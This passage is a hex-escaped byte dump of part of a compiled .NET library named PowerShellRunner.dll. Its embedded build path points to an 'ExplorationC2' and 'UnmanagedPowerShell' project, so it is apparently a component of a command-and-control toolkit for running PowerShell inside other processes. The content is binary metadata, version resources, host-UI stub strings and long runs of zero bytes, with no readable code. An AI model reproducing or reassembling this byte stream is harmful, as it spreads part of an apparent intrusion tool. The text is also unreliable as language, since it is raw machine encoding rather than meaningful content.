00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x7d\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x46\x00\x6f\x00\x72\x00\x43\x00\x72\x00\x65\x00\x64\x00\x65\x00\x6e\x00\x74\x00\x69\x00\x61\x00\x6c\x00\x32\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x65\x52\x00\x65\x00\x61\x00\x64\x00\x4c\x00\x69\x00\x6e\x00\x65\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x81\x52\x00\x65\x00\x61\x00\x64\x00\x4c\x00\x69\x00\x6e\x00\x65\x00\x41\x00\x73\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x65\x00\x53\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x49\x46\x00\x6c\x00\x75\x00\x73\x00\x68\x00\x49\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x4b\x47\x00\x65\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x41\x4b\x00\x65\x00\x79\x00\x41\x00\x76\x00\x61\x00\x69\x00\x6c\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x81\x63\x52\x00\x65\x00\x61\x00\x64\x00\x4b\x00\x65\x00\x79\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x4f\x53\x00\x63\x00\x72\x00\x6f\x00\x6c\x00\x6c\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x00\x4b\x53\x00\x65\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x00\x49\x53\x00\x65\x00\x74\x00\x42\x00\x75\x00\x66\x00\x66\x00\x65\x00\x72\x00\x43\x00\x6f\x00\x6e\x00\x74\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x00\x01\x00\x00\x00\x81\x89\x0d\xf7\xba\x53\x84\x4e\xa6\xc1\x9d\x85\xca\x45\xd1\xdb\x00\x04\x20\x01\x01\x08\x03\x20\x00\x01\x05\x20\x01\x01\x11\x11\x04\x20\x01\x01\x0e\x04\x20\x01\x01\x02\x0a\x07\x04\x12\x0c\x12\x45\x12\x49\x12\x4d\x04\x00\x00\x12\x45\x06\x20\x01\x01\x12\x80\xb1\x08\x00\x02\x12\x49\x12\x51\x12\x45\x04\x20\x00\x12\x4d\x05\x20\x00\x12\x80\xb9\x07\x15\x12\x79\x01\x12\x80\xbd\x05\x20\x01\x13\x00\x08\x09\x20\x02\x01\x11\x80\xc1\x11\x80\xc1\x08\x20\x00\x15\x12\x79\x01\x12\x75\x04\x20\x00\x12\x5d\x05\x20\x02\x01\x08\x08\x05\x00\x00\x12\x80\xc9\x04\x20\x00\x12\x61\x04\x00\x00\x11\x55\x05\x20\x01\x12\x65\x0e\x05\x00\x02\x0e\x0e\x0e\x03\x20\x00\x0e\x08\x07\x02\x11\x80\x99\x11\x80\x9d\x08\xb7\x7a\x5c\x56\x19\x34\xe0\x89\x08\x31\xbf\x38\x56\xad\x36\x4e\x35\x03\x06\x11\x55\x03\x06\x12\x10\x03\x06\x12\x65\x03\x06\x12\x14\x04\x06\x11\x80\x99\x04\x06\x11\x80\x9d\x02\x06\x08\x03\x06\x11\x69\x02\x06\x0e\x04\x00\x01\x0e\x0e\x04\x20\x00\x11\x55\x04\x20\x00\x12\x59\x08\x20\x03\x01\x11\x69\x11\x69\x0e\x06\x20\x02\x01\x0a\x12\x6d\x11\x20\x03\x15\x12\x71\x02\x0e\x12\x75\x0e\x0e\x15\x12\x79\x01\x12\x7d\x0d\x20\x04\x08\x0e\x0e\x15\x12\x79\x01\x12\x80\x81\x08\x0f\x20\x06\x12\x80\x85\x0e\x0e\x0e\x0e\x11\x80\x89\x11\x80\x8d\x09\x20\x04\x12\x80\x85\x0e\x0e\x0e\x0e\x05\x20\x00\x12\x80\x91\x05\x20\x00\x12\x80\x95\x04\x20\x00\x11\x69\x05\x20\x01\x01\x11\x69\x05\x20\x00\x11\x80\x99\x06\x20\x01\x01\x11\x80\x99\x05\x20\x00\x11\x80\x9d\x06\x20\x01\x01\x11\x80\x9d\x03\x20\x00\x08\x0e\x20\x01\x14\x11\x80\xa1\x02\x00\x02\x00\x00\x11\x80\xa5\x03\x20\x00\x02\x08\x20\x01\x11\x80\xa9\x11\x80\xad\x0f\x20\x04\x01\x11\x80\xa5\x11\x80\x9d\x11\x80\xa5\x11\x80\xa1\x09\x20\x02\x01\x11\x80\xa5\x11\x80\xa1\x0f\x20\x02\x01\x11\x80\x9d\x14\x11\x80\xa1\x02\x00\x02\x00\x00\x04\x28\x00\x11\x55\x03\x28\x00\x0e\x04\x28\x00\x12\x59\x04\x28\x00\x12\x5d\x04\x28\x00\x12\x61\x05\x28\x00\x12\x80\x91\x04\x28\x00\x11\x69\x05\x28\x00\x11\x80\x99\x05\x28\x00\x11\x80\x9d\x03\x28\x00\x08\x03\x28\x00\x02\x08\x01\x00\x08\x00\x00\x00\x00\x00\x1e\x01\x00\x01\x00\x54\x02\x16\x57\x72\x61\x70\x4e\x6f\x6e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x54\x68\x72\x6f\x77\x73\x01\x08\x01\x00\x02\x00\x00\x00\x00\x00\x15\x01\x00\x10\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x00\x00\x05\x01\x00\x00\x00\x00\x17\x01\x00\x12\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\xc2\xa9\x20\x20\x32\x30\x31\x34\x00\x00\x29\x01\x00\x24\x64\x66\x63\x34\x65\x65\x62\x62\x2d\x37\x33\x38\x34\x2d\x34\x64\x62\x35\x2d\x39\x62\x61\x64\x2d\x32\x35\x37\x32\x30\x33\x30\x32\x39\x62\x64\x39\x00\x00\x0c\x01\x00\x07\x31\x2e\x30\x2e\x30\x2e\x30\x00\x00\x49\x01\x00\x1a\x2e\x4e\x45\x54\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x2c\x56\x65\x72\x73\x69\x6f\x6e\x3d\x76\x34\x2e\x38\x01\x00\x54\x0e\x14\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x44\x69\x73\x70\x6c\x61\x79\x4e\x61\x6d\x65\x12\x2e\x4e\x45\x54\x20\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x20\x34\x2e\x38\x00\x00\x00\x00\x00\x00\x00\xe4\x4a\xbc\x63\x00\x00\x00\x00\x02\x00\x00\x00\x1c\x01\x00\x00\x08\x4b\x00\x00\x08\x2d\x00\x00\x52\x53\x44\x53\x91\x2b\x85\x33\x26\x5f\xd3\x48\x8d\x4f\x1e\x65\xe1\x5d\xf1\xc7\x01\x00\x00\x00\x42\x3a\x5c\x45\x78\x70\x6c\x6f\x72\x61\x74\x69\x6f\x6e\x43\x32\x5c\x55\x6e\x6d\x61\x6e\x61\x67\x65\x64\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x5c\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x5c\x6f\x62\x6a\x5c\x52\x65\x6c\x65\x61\x73\x65\x5c\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x2e\x70\x64\x62\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x66\x4c\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5f\x43\x6f\x72\x44\x6c\x6c\x4d\x61\x69\x6e\x00\x6d\x73\x63\x6f\x72\x65\x65\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\xff\x25\x00\x20\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x10\x00\x00\x00\x18\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x30\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x48\x00\x00\x00\x58\x60\x00\x00\x5c\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x03\x34\x00\x00\x00\x56\x00\x53\x00\x5f\x00\x56\x00\x45\x00\x52\x00\x53\x00\x49\x00\x4f\x00\x4e\x00\x5f\x00\x49\x00\x4e\x00\x46\x00\x4f\x00\x00\x00\x00\x00\xbd\x04\xef\xfe\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x00\x00\x00\x01\x00\x56\x00\x61\x00\x72\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x49\x00\x6e\x00\x66\x00\x6f\x00\x00\x00\x00\x00\x24\x00\x04\x00\x00\x00\x54\x00\x72\x00\x61\x00\x6e\x00\x73\x00\x6c\x00\x61\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x00\x00\xb0\x04\xbc\x02\x00\x00\x01\x00\x53\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x49\x00\x6e\x00\x66\x00\x6f\x00\x00\x00\x98\x02\x00\x00\x01\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x34\x00\x62\x00\x30\x00\x00\x00\x1a\x00\x01\x00\x01\x00\x43\x00\x6f\x00\x6d\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x00\x00\x00\x00\x00\x00\x22\x00\x01\x00\x01\x00\x43\x00\x6f\x00\x6d\x00\x70\x00\x61\x00\x6e\x00\x79\x00\x4e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x11\x00\x01\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x44\x00\x65\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x00\x00\x00\x00\x30\x00\x08\x00\x01\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x31\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x4a\x00\x15\x00\x01\x00\x49\x00\x6e\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00\x6c\x00\x4e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\x48\x00\x12\x00\x01\x00\x4c\x00\x65\x00\x67\x00\x61\x00\x6c\x00\x43\x00\x6f\x00\x70\x00\x79\x00\x72\x00\x69\x00\x67\x00\x68\x00\x74\x00\x00\x00\x43\x00\x6f\x00\x70\x00\x79\x00\x72\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\xa9\x00\x20\x00\x20\x00\x32\x00\x30\x00\x31\x00\x34\x00\x00\x00\x2a\x00\x01\x00\x01\x00\x4c\x00\x65\x00\x67\x00\x61\x00\x6c\x00\x54\x00\x72\x00\x61\x00\x64\x00\x65\x00\x6d\x00\x61\x00\x72\x00\x6b\x00\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x15\x00\x01\x00\x4f\x00\x72\x00\x69\x00\x67\x00\x69\x00\x6e\x00\x61\x00\x6c\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x6e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\x42\x00\x11\x00\x01\x00\x50\x00\x72\x00\x6f\x00\x64\x00\x75\x00\x63\x00\x74\x00\x4e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x50\x00\x6f\x00\x77\x00\x65\x00\x72\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x52\x00\x75\x00\x6e\x00\x6e\x00\x65\x00\x72\x00\x00\x00\x00\x00\x34\x00\x08\x00\x01\x00\x50\x00\x72\x00\x6f\x00\x64\x00\x75\x00\x63\x00\x74\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x31\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x38\x00\x08\x00\x01\x00\x41\x00\x73\x00\x73\x00\x65\x00\x6d\x00\x62\x00\x6c\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x31\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x0c\x00\x00\x00\x78\x3c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\